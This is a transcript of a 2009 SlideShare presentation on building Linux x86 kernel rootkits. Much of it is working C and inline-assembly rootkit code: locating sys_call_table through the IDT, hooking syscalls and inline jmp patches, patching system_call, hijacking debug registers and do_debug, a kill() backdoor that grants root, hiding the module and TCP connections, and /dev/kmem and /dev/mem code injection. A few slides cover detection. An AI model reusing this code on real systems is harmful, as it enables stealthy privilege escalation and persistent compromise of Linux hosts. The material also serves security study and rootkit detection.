Your SlideShare is downloading. ×
0
Rootkit on Linux x86 v2.6

                  WangYao
                 2009-04-21
NOTE




 The report and code is very evil
       NOT distribute them
Index
    Rootkit In Brief



    Rootkit based on LKM



        How to get sys_call_table
    


        Simple sys_c...
Rootkits In Brief

    “A rootkit is a set of software tools intended to


    conceal running processes, files or system...
Rootkits' Category

    UserSpace Rootkit



        Run in user space
    


        Modify some files,libs,config file...
Rootkits' Common Function

    Hide Process



    Hide File



    Hide Network Connection



    Back Door



    Ke...
Rootkits' Key words

    Hijack



    Hook



    System call



    sys_call_table



    sysenter



    IDT



 ...
Rootkits based on LKM

    How to get sys_call_table



    Simple sys_call_table hook



    Inline hook



    Patchi...
sys_call_table
How to get sys_call_table

    Historically, LKM-based rootkits used the


    ‘sys_call_table[]’ symbol to perform hooks...
How to get sys_call_table

    The function ‘system_call’ makes a direct


    access to ‘sys_call_table[]’
    (arch/i38...
How to get sys_call_table

    Problem: ‘system_call’ is not exported too




        It’s not, but we can discover where...
How to get sys_call_table

    Steps to get sys_call_table



        Get the IDTR using SIDT
    



        Extract th...
IDT
IDT Descriptor

 3 Types:
 ●Task Gate

 ●Interrupt Gate

 ●Trap Gate
get_system_call

                                                       struct idt_descriptor
void *get_system_call(void)
...
get_sys_call_table
void *get_sys_call_table(void *system_call)
{
    unsigned char *p;
    unsigned long s_c_t;
    int co...
Simple sys_call_table Hook
 [...]

 asmlinkage int (*old_kill) (pid_t pid, int sig);

 [...]

 int init_module(void)
 {
  ...
...
  sys_exit
                      0xc0123456:   int sys_exit(int)
0xc0123456                     …
                    ...
Simple kill syscall hook
asmlinkage int hacked_kill(pid_t pid, int sig)
{
  struct task_struct *ptr = current;
  int tsig ...
Inline hook
    ...
  sys_exit
                0xc0123456:   int sys_exit(int)
0xc0123456               …
                ...
Inline hook
printk(quot;Init inline hook.nquot;);
s_call = get_system_call();
sys_call_table = get_sys_call_table(s_call);...
Detect simple sys_call_table hook
and inline hook
    Detections



        Saves the addresses of every syscall
    


...
Patching system_call

    How to hook all syscalls, without modify


    sys_call_table and IDT? You can modify int
    0...
system_call
---- arch/i386/kernel/entry.S ----
# system call handler stub
ENTRY(system_call)
   pushl %eax         # save ...
Patching system_call Trick

    Original Code: 11 Bytes



        'cmpl $(nr_syscalls), %eax' ==> 5 Bytes
    


      ...
set_sysenter_handler
void set_sysenter_handler(void *sysenter)
{
  unsigned char *p;
  unsigned long *p2;
  p = (unsigned ...
new_idt & hook

                                              void hook(void)
void new_idt(void)
                         ...
Detect system_call hook

    Trick 1: Copy the system call table and patch


    the proper bytes in ‘system_call’ with t...
Abuse Debug Registers

    DBRs 0-3: contain the linear address of a


    breakpoint. A debug exception (# DB) is
    ge...
Debug Registers
Evil Ideas of abusing debug
Registers
    Based on the above far this allows us to


    generate a #DB when the cpu try ...
The #DB also be managed through IDT



      ENTRY(debug)

        pushl $0
        pushl $SYMBOL_NAME(do_debug)

     ...
Some breakpoint code
/* DR2 2nd watch on the syscall_table entry for this syscall */
dr2 = sys_table_global + (unsigned in...
Hook do_debug

    When hardware breakpoints appear, kernel will


    call do_debug(). BUT orignal do_debug() not
    se...
Find do_debug

KPROBE_ENTRY(debug)
    RING0_INT_FRAME
    cmpl $sysenter_entry,(%esp) <- find sysenter_entry here too!
  ...
Patch do_debug
static int __get_and_set_do_debug_2_6(unsigned int handler, unsigned int my_do_debug)
{
   unsigned char *p...
Debug register hook

    From hacked_do_debug can then have access


    to the value of eip representing the return
    ...
Execution flow
hacked_do_debug
hacked_do_debug():
/* get dr6 */
__asm__ __volatile__ ( quot;movl %%dr6,%0 ntquot; : quot;=rquot; (status)...
More Evil

    We modified do_debug(), if someone check the


    address of do_debug(), will find the rootkit.
    Wait,...
Real Rootkit

    Strace system call



    Hook system call



    Hide rootkit self

Strace system call
$strace ls
......
open(quot;.quot;, O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|0x80000) = 3
fstat64(3,...
Hook system call

    Have be discussed Previously



        Simple sys_call_table hook
    


        Inline hook
    ...
Hide module & network
struct module *m = &__this_module;

/* Delete from the module list*/
if (m->init == init_module)
   ...
Rootkits based on non-LKM

    Access kernel resource from userspace


    through some infrastructure of Linux, Mostly
 ...
/dev/kmem

    /dev/kmem



        Kernel space virtual memory snapshot
    



    /dev/mem



        Physical memor...
Using kmalloc based non-LKM
code injection
    The addresses of the syscall table and of the function kmalloc()


    wit...
Steps of suckit 1.3a

    Sidt



    read/mmap /dev/kmem



    Search fingerprint opcode



    Set kmalloc into sys_...
Detection of rootkit based
/dev/kmem
    Most of distributions have disabled /dev/kmem


    feature.
    Device Drivers ...
/dev/mem

    /dev/mem



        Driver interface to physically addressable memory.
    


        lseek() to offset in...
Address Translation

    Higher half GDT loading concept applies



    Bootloader trick to use Virtual Addresses along
...
Address Translation




0xC0100000 + 0x40000000
=0xC0100000 – 0xC0000000
=0x00100000
/dev/mem's address translation
code
 #define KERN_START 0xC0000000
 int iskernaddr(unsigned long addr)
 {
       /*is addr...
Steps of rootkit using /dev/mem
and kmalloc
    Sidt



    Read /dev/mem [address translation]



    Search fingerprin...
Detection of rootkit based
/dev/mem
    SELinux has created a patch to address this


    problem (RHEL and Fedora kernel...
Next

    BIOS rootkit



    PCI rootkit



    Virtualize Machine rootkit



        subvirt
    



    Bootkit


...
Reference
    LKM Rootkits on Linux x86 v2.6:


    http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt
   ...
Show Time;-)
Q&A
Rootkit on Linux X86 v2.6
Upcoming SlideShare
Loading in...5
×

Rootkit on Linux X86 v2.6

3,190

Published on

Published in: Technology
0 Comments
4 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
3,190
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
119
Comments
0
Likes
4
Embeds 0
No embeds

No notes for slide

Transcript of "Rootkit on Linux X86 v2.6"

  1. 1. Rootkit on Linux x86 v2.6 WangYao 2009-04-21
  2. 2. NOTE The report and code is very evil NOT distribute them
  3. 3. Index Rootkit In Brief  Rootkit based on LKM  How to get sys_call_table  Simple sys_call_table hook  Inline hook  Patching system_call  Abuse Debug Registers  Real Rootkit  Rootkit based non-LKM  Using /dev/kmem and kmalloc  Using /dev/mem and kmalloc 
  4. 4. Rootkits In Brief “A rootkit is a set of software tools intended to  conceal running processes, files or system data from the operating system… Rootkits often modify parts of the operating system or install themselves as drivers or kernel modules. ” Rootkit, Trojans, Virus, Malware?  Now, they often bind together, be called malware. 
  5. 5. Rootkits' Category UserSpace Rootkit  Run in user space  Modify some files,libs,config files, and so on.  KernelSpace Rootkit  Run in kernel space  Modify kernel structures, hook system calls at the  lowest level
  6. 6. Rootkits' Common Function Hide Process  Hide File  Hide Network Connection  Back Door  Key Logger 
  7. 7. Rootkits' Key words Hijack  Hook  System call  sys_call_table  sysenter  IDT  Debug Register 
  8. 8. Rootkits based on LKM How to get sys_call_table  Simple sys_call_table hook  Inline hook  Patching system_call  Abuse Debug Registers  Real Rootkit 
  9. 9. sys_call_table
  10. 10. How to get sys_call_table Historically, LKM-based rootkits used the  ‘sys_call_table[]’ symbol to perform hooks on the system calls sys_call_table[__NR_open] = (void *) my_func_ptr;  However, since sys_call_table[] is not an exported  symbol anymore, this code isn’t valid We need another way to find ‘sys_call_table[]’ 
  11. 11. How to get sys_call_table The function ‘system_call’ makes a direct  access to ‘sys_call_table[]’ (arch/i386/kernel/entry.S:240) call *sys_call_table(,%eax,4)  In x86 machine code, this translates to:  0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>  Where the 4 ‘addr’ bytes form the address of  ‘sys_call_table[]’
  12. 12. How to get sys_call_table Problem: ‘system_call’ is not exported too  It’s not, but we can discover where it is!  ‘system_call’ is set as a trap gate of the system  (arch/i386/kernel/traps.c:1195): set_system_gate(SYSCALL_VECTOR,&system_call);  In x86, this means that its address is stored inside the  Interrupt Descriptor Table (IDT) The IDT location can be known via the IDT register  (IDTR) And the IDTR, finally, can be retrieved by the SIDT  (Store IDT) instruction
  13. 13. How to get sys_call_table Steps to get sys_call_table  Get the IDTR using SIDT  Extract the IDT address from the IDTR  Get the address of ‘system_call’ from the 0x80th entry of the  IDT Search ‘system_call’ for our code fingerprint  We should have the address of ‘sys_call_table[]’ by now,  have fun!
  14. 14. IDT
  15. 15. IDT Descriptor 3 Types: ●Task Gate ●Interrupt Gate ●Trap Gate
  16. 16. get_system_call struct idt_descriptor void *get_system_call(void) { { unsigned short off_low; unsigned char idtr[6]; unsigned short sel; unsigned long base; unsigned char none, flags; struct idt_descriptor desc; unsigned short off_high; }; asm (quot;sidt %0quot; : quot;=mquot; (idtr)); base = *((unsigned long *) &idtr[2]); memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc)); return((void *) ((desc.off_high << 16) + desc.off_low)); } /*********** fin get_sys_call_table() ***********/
  17. 17. get_sys_call_table void *get_sys_call_table(void *system_call) { unsigned char *p; unsigned long s_c_t; int count = 0; p = (unsigned char *) system_call; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) { p++; if (count++ > 500) { count = -1; break; } } if (count != -1) { p += 3; s_c_t = *((unsigned long *) p); } else s_c_t = 0; return((void *) s_c_t); } /********** fin get_sys_call_table() *************/
  18. 18. Simple sys_call_table Hook [...] asmlinkage int (*old_kill) (pid_t pid, int sig); [...] int init_module(void) { old_kill = sys_call_table[SYS_kill] ; sys_call_table[SYS_kill]= (void *) my_kill; [...] } void cleanup_module(void) { sys_call_table[SYS_kill] = old_kill; [...] }
  19. 19. ... sys_exit 0xc0123456: int sys_exit(int) 0xc0123456 … .. sys_fork 0xc0789101: int sys_fork(void) 0xc0789101 … .. 0xc0112131: int sys_read(int,void*,int) sys_read … 0xc0112131 .. 0xc0415161: int sys_write(int,void*,int) Sys_write … .. 0xc0415161 ... 0xbadc0ded: int hacked_write(int,void*,void) Hacked Write 0xbadc0ded
  20. 20. Simple kill syscall hook asmlinkage int hacked_kill(pid_t pid, int sig) { struct task_struct *ptr = current; int tsig = SIG, tpid = PID, ret_tmp; printk(quot;pid: %d, sig: %dnquot;, pid, sig); if ((tpid == pid) && (tsig == sig)) $whoami { wangyao ptr->uid = 0; $Kill -s 58 12345 ptr->euid = 0; $whoami ptr->gid = 0; $root ptr->egid = 0; return(0); } else { ret_tmp = (*orig_kill)(pid, sig); return(ret_tmp); } return(-1); } /********** fin hacked_kill ************/
  21. 21. Inline hook ... sys_exit 0xc0123456: int sys_exit(int) 0xc0123456 … .. 0xc0789101: int sys_fork(void) sys_fork … 0xc0789101 .. 0xc0112131: int sys_read(int,void*,int) … sys_read .. 0xc0112131 0xc0415161: int sys_write(int,void*,int) … .. sys_write jmp hacked_write 0xc0415161 ... …… Hacked Write 0xbadc0ded 0xbadc0ded: int hacked_write(int,void*,void) …… ret
  22. 22. Inline hook printk(quot;Init inline hook.nquot;); s_call = get_system_call(); sys_call_table = get_sys_call_table(s_call); orig_kill = sys_call_table[__NR_kill]; memcpy(original_syscall, orig_kill, 5); buff = (unsigned char*)orig_kill; hookaddr = (unsigned long)hacked_kill; //buff+5+offset = hookaddr offset = hookaddr - (unsigned int)orig_kill - 5; printk(quot;hook addr: %xnquot;, hookaddr); printk(quot;offset: %xnquot;, offset); *buff = 0xe9; //jmp *(buff+1) = (offset & 0xFF); *(buff+2) = (offset >> 8) & 0xFF; *(buff+3) = (offset >> 16) & 0xFF; *(buff+4) = (offset >> 24) & 0xFF; printk(quot;Modify kill syscall.nquot;);
  23. 23. Detect simple sys_call_table hook and inline hook Detections  Saves the addresses of every syscall  Saves the checksums of the first 31 bytes of every  syscall’s code Saves the checksums of these data themselves  Now you can’t change the addresses in the  system call table Also can’t patch the system calls with jmp’s to  your hooks More Tricks...... 
  24. 24. Patching system_call How to hook all syscalls, without modify  sys_call_table and IDT? You can modify int 0x80's handler(system_call), and manage the system calls directly.
  25. 25. system_call ---- arch/i386/kernel/entry.S ---- # system call handler stub ENTRY(system_call) pushl %eax # save orig_eax SAVE_ALL GET_THREAD_INFO(%ebp) cmpl $(nr_syscalls), %eax ---> Those two instrutions will replaced by jae syscall_badsys ---> Our Own jump # system call tracing in operation testb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp) jnz syscall_trace_entry syscall_call: call *sys_call_table(,%eax,4) movl %eax,EAX(%esp) # store the return value .... ---- eof ----
  26. 26. Patching system_call Trick Original Code: 11 Bytes  'cmpl $(nr_syscalls), %eax' ==> 5 Bytes  'jae syscall_badsys' ==> 6 Bytes  Jump Code: 5 Bytes  'pushl $addr' ==> 5 Bytes  'ret' ==> 1 Bytes 
  27. 27. set_sysenter_handler void set_sysenter_handler(void *sysenter) { unsigned char *p; unsigned long *p2; p = (unsigned char *) sysenter; /* Seek quot;call *sys_call_table(,%eax,4)quot;*/ while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) p++; /* Seek quot;jae syscall_badsysquot; */ while (!((*p == 0x0f) && (*(p+1) == 0x83))) p--; p -= 5; memcpy(orig_sysenter, p, 6); start_patch_sysenter = p; /* We put the jump*/ *p++ = 0x68; /*pushl*/ p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); /*now, quot;jaequot;-->ret*/ p = (unsigned char *) p2; *p = 0xc3; /*ret*/ } /************* fin set_sysenter_handler() **********/
  28. 28. new_idt & hook void hook(void) void new_idt(void) { { register int eax asm(quot;eaxquot;); ASMIDType ( switch (eax) quot;cmp %0, %%eax nquot; { quot;jae syscallbad nquot; case __NR_kill: quot;jmp hook nquot; CallHookedSyscall(hacked_kill); break; quot;syscallbad: nquot; default: quot;jmp syscall_exit nquot; JmPushRet(syscall_call); break; : : quot;iquot; (NR_syscalls) } ); JmPushRet( after_call ); } /********** fin new_idt() **************/ } /*********** fin hook() ************/
  29. 29. Detect system_call hook Trick 1: Copy the system call table and patch  the proper bytes in ‘system_call’ with the new address This can be avoided by having St. Michael making  checksums of ‘system_call’ code too Trick 2: Copy ‘system_call’ code, apply Trick 1  on it, and modified the 0x80th ID in the IDT with the new address This can be avoided by having St. Michael storing  the address of ‘system_call’ too
  30. 30. Abuse Debug Registers DBRs 0-3: contain the linear address of a  breakpoint. A debug exception (# DB) is generated when the case in an attempt to access at the breakpoint DBR 6: lists the conditions that were present  when debugging or breakpoint exception was generated DBR 7: Specifies forms of access that will result  in the debug exception to reaching breakpoint
  31. 31. Debug Registers
  32. 32. Evil Ideas of abusing debug Registers Based on the above far this allows us to  generate a #DB when the cpu try to run code into any memory location at our choice, even a kernel space Evil Ideas  Set breakpoint on system_call(in 0x80's handler)  Set breakpoint on sysenter_entry(sysenter handler)  OMG, every syscall will be hooked! 
  33. 33. The #DB also be managed through IDT  ENTRY(debug)  pushl $0 pushl $SYMBOL_NAME(do_debug)  jmp error_code fastcall void do_debug(struct *pt_regs,int errorcode)  At the moment we can then divert any  flow execution kernel to do_debug, without changing a single bit of text segment!
  34. 34. Some breakpoint code /* DR2 2nd watch on the syscall_table entry for this syscall */ dr2 = sys_table_global + (unsigned int)regs->eax * sizeof(void *); /* set dr2 read watch on syscall_table */ __asm__ __volatile__ ( quot;movl %0,%%dr2 ntquot; : : quot;rquot; (dr2) ); /* get dr6 */ __asm__ __volatile__ ( quot;movl %%dr6,%0 ntquot; : quot;=rquot; (status) ); /* enable exact breakpoint detection LE/GE */ s_control |= TRAP_GLOBAL_DR2; s_control |= TRAP_LE; s_control |= TRAP_GE; s_control |= DR_RW_READ << DR2_RW; s_control |= 3 << DR2_LEN; /* set new control .. gives up syscall handler to avoid races */ __asm__ __volatile__ ( quot;movl %0,%%dr6 ntquot; quot;movl %1,%%dr7 ntquot; : : quot;rquot; (status), quot;rquot; (s_control) );
  35. 35. Hook do_debug When hardware breakpoints appear, kernel will  call do_debug(). BUT orignal do_debug() not set eip to our evil func. So we must hook do_debug() ourself. It means that INT 1 of IDT, will be set  hacked_do_debug() insead of do_debug().
  36. 36. Find do_debug KPROBE_ENTRY(debug) RING0_INT_FRAME cmpl $sysenter_entry,(%esp) <- find sysenter_entry here too! jne debug_stack_correct FIX_STACK(12, debug_stack_correct, debug_esp_fix_insn) debug_stack_correct: pushl $-1 # mark this as an int CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL xorl %edx,%edx # error code 0 movl %esp,%eax # pt_regs pointer call do_debug <- PATCH ME! jmp ret_from_exception CFI_ENDPROC KPROBE_END(debug)
  37. 37. Patch do_debug static int __get_and_set_do_debug_2_6(unsigned int handler, unsigned int my_do_debug) { unsigned char *p = (unsigned char *)handler; unsigned char buf[4] = quot;x00x00x00x00quot;; unsigned int offset = 0, orig = 0; /* find a candidate for the call .. needs better heuristics */ while (p[0] != 0xe8) p ++; buf[0] = p[1]; buf[1] = p[2]; buf[2] = p[3]; buf[3] = p[4]; offset = *(unsigned int *)buf; orig = offset + (unsigned int)p + 5; offset = my_do_debug - (unsigned int)p - 5; p[1] = (offset & 0x000000ff); p[2] = (offset & 0x0000ff00) >> 8; p[3] = (offset & 0x00ff0000) >> 16; p[4] = (offset & 0xff000000) >> 24; return orig; }
  38. 38. Debug register hook From hacked_do_debug can then have access  to the value of eip representing the return address on the person who triggered the breakpoint, which is the kernel in our case, so you can change at will the flow of execution after the procedure! Changing eip can send a running our routine  that once made the 'dirty work' take care to restore the original flow of execution regs->eip = (unsigned int)hook_table[regs->eax];
  39. 39. Execution flow
  40. 40. hacked_do_debug hacked_do_debug(): /* get dr6 */ __asm__ __volatile__ ( quot;movl %%dr6,%0 ntquot; : quot;=rquot; (status) ); ...... /* check for trap on dr2 */ if (status & DR_TRAP2) { trap = 2; status &= ~DR_TRAP2; } ...... if ((regs->eax >= 0 && regs->eax < NR_syscalls) && hook_table[regs->eax]) { /* double check .. verify eip matches original */ unsigned int verify_hook = (unsigned int)sys_p[regs->eax]; if (regs->eip == verify_hook) { // 这里设置下一步的执行函数 regs->eip = (unsigned int)hook_table[regs->eax]; DEBUGLOG((quot;*** hooked __NR_%d at %X to %Xnquot;, regs->eax, verify_hook, (unsigned int)hook_table[regs->eax])); } } ......
  41. 41. More Evil We modified do_debug(), if someone check the  address of do_debug(), will find the rootkit. Wait, if we set another hardware breakpoint on  do_debug()'s address. It means that we can return someone the wrong address of do_debug(), and can not be detected. Debug Regiser Save us again :-) 
  42. 42. Real Rootkit Strace system call  Hook system call  Hide rootkit self 
  43. 43. Strace system call $strace ls ...... open(quot;.quot;, O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|0x80000) = 3 fstat64(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 fcntl64(3, F_GETFD) = 0x1 (flags FD_CLOEXEC) getdents64(3, /* 9 entries */, 4096) = 272 getdents64(3, /* 0 entries */, 4096) = 0 close(3) =0 ...... $strace ps ...... stat64(quot;/proc/3105quot;, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 open(quot;/proc/3105/statquot;, O_RDONLY) =6 read(6, quot;3105 (kmpathd/0) S 2 0 0 0 -1 41quot;..., 1023) = 130 close(6) =0 ...... $strace netstat -ant ...... open(quot;/proc/net/tcpquot;, O_RDONLY) =3 read(3, quot; sl local_address rem_address quot;..., 4096) = 600 write(1, quot;tcp 0 0 0.0.0.0:21 quot;..., 80) = 80 write(1, quot;tcp 0 0 192.168.122.quot;..., 80) = 80 write(1, quot;tcp 0 0 127.0.0.1:63quot;..., 80) = 80 read(3, quot;quot;, 4096) =0 close(3) =0 ......
  44. 44. Hook system call Have be discussed Previously  Simple sys_call_table hook  Inline hook  Patching system_call  Abuse Debug Registers 
  45. 45. Hide module & network struct module *m = &__this_module; /* Delete from the module list*/ if (m->init == init_module) list_del(&m->list); struct proc_dir_entry *tcp = proc_net->subdir->next; /* redefine tcp4_seq_show() */ while (strcmp(tcp->name, quot;tcpquot;) && (tcp != proc_net->subdir)) tcp = tcp->next; /* Hide TCP Connection Information in /proc/net/tcp */ if (tcp != proc_net->subdir) { orig_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show; ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hacked_tcp4_seq_show; }
  46. 46. Rootkits based on non-LKM Access kernel resource from userspace  through some infrastructure of Linux, Mostly based on /dev/kmem and /dev/mem. Famous rootkit  suckit 
  47. 47. /dev/kmem /dev/kmem  Kernel space virtual memory snapshot  /dev/mem  Physical memory snapshot  Hacking  read/write  mmap 
  48. 48. Using kmalloc based non-LKM code injection The addresses of the syscall table and of the function kmalloc()  within the kernel are found by searching kernel memory for certain patterns. The function kmalloc() is internal to the kernel and needed to  reserve space in kernel memory. The address of kmalloc() is put into an unused entry of the syscall table. kmalloc() is executed as a system call and memory in the  kernel is allocated. The rootkit is written to the freshly reserved space in the kernel.  The address of the rootkit is put into the unused entry of the  syscall table, overwriting the address of kmalloc(). The rootkit is called as a system call and finally running in  kernel mode.
  49. 49. Steps of suckit 1.3a Sidt  read/mmap /dev/kmem  Search fingerprint opcode  Set kmalloc into sys_call_table  Insert rootkit opcode into kernel(Patching)  Hook...... 
  50. 50. Detection of rootkit based /dev/kmem Most of distributions have disabled /dev/kmem  feature. Device Drivers => Character Devices =>  /dev/kmem virtual device support BUT Debian still has this hole ;-)  Detection:  Using the same steps to check sys_call_table  Using LKM to check sys_call_table 
  51. 51. /dev/mem /dev/mem  Driver interface to physically addressable memory.  lseek() to offset in “file” = offset in physical mem  EG: Offset 0x100000 = Physical Address 0x100000  Reads/Writes like a regular character device  /dev/mem is same with /dev/kmem  Same techniques with Virt -> Phys address  translation
  52. 52. Address Translation Higher half GDT loading concept applies  Bootloader trick to use Virtual Addresses along  with GDT in unprotected mode to resolve physical addresses. Kernel usually loaded at 0x100000 (1MB) in  physical memory Mapped to 0xC0100000 (3GB+1MB) Virtually 
  53. 53. Address Translation 0xC0100000 + 0x40000000 =0xC0100000 – 0xC0000000 =0x00100000
  54. 54. /dev/mem's address translation code #define KERN_START 0xC0000000 int iskernaddr(unsigned long addr) { /*is address valid?*/ if(addr<KERN_START) return -1; else return 0 ; } /*read from kernel virtual address*/ int read_virt(unsigned long addr, void *buf, unsigned int len) { if( iskernaddr(addr)<0 ) return -1; addr = addr - KERN_START; lseek(mem_fd, addr, SEEK_SET); return read(mem_fd, buf, len); }
  55. 55. Steps of rootkit using /dev/mem and kmalloc Sidt  Read /dev/mem [address translation]  Search fingerprint opcode  Set kmalloc into sys_call_table  Insert rootkit opcode into kernel(Patching)  Hook...... 
  56. 56. Detection of rootkit based /dev/mem SELinux has created a patch to address this  problem (RHEL and Fedora kernels are safe) Mainline kernel addressed this from 2.6.26  Kernel Hacking => Filter access to /dev/mem  Detection:  Using the same steps to check sys_call_table  Using LKM to check sys_call_table 
  57. 57. Next BIOS rootkit  PCI rootkit  Virtualize Machine rootkit  subvirt  Bootkit  NTLDR  Grub 
  58. 58. Reference LKM Rootkits on Linux x86 v2.6:  http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt Mistifying the debugger, ultimate stealthness  http://www.phrack.com/issues.html?issue=65&id=8 Advances in attacking linux kernel  http://darkangel.antifork.org/publications/Advances%20in%20attacking%20linux% Kernel-Land Rootkits  http://www.h2hc.com.br/repositorio/2006/Kernel-Land%20Rootkits.pps Intel® 64 and IA-32 Architectures Software Developer's Manuals  www.intel.com/products/processor/manuals/ Developing Your Own OS On IBM PC  http://docs.huihoo.com/gnu_linux/own_os/index.htm Handling Interrupt Descriptor Table for fun and profit  http://www.phrack.org/issues.html?issue=60&id=6 Execution path analysis: finding kernel based rootkits  http://www.phrack.org/issues.html?issue=59&id=10 Malicious Code Injection via /dev/mem 
  59. 59. Show Time;-)
  60. 60. Q&A
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×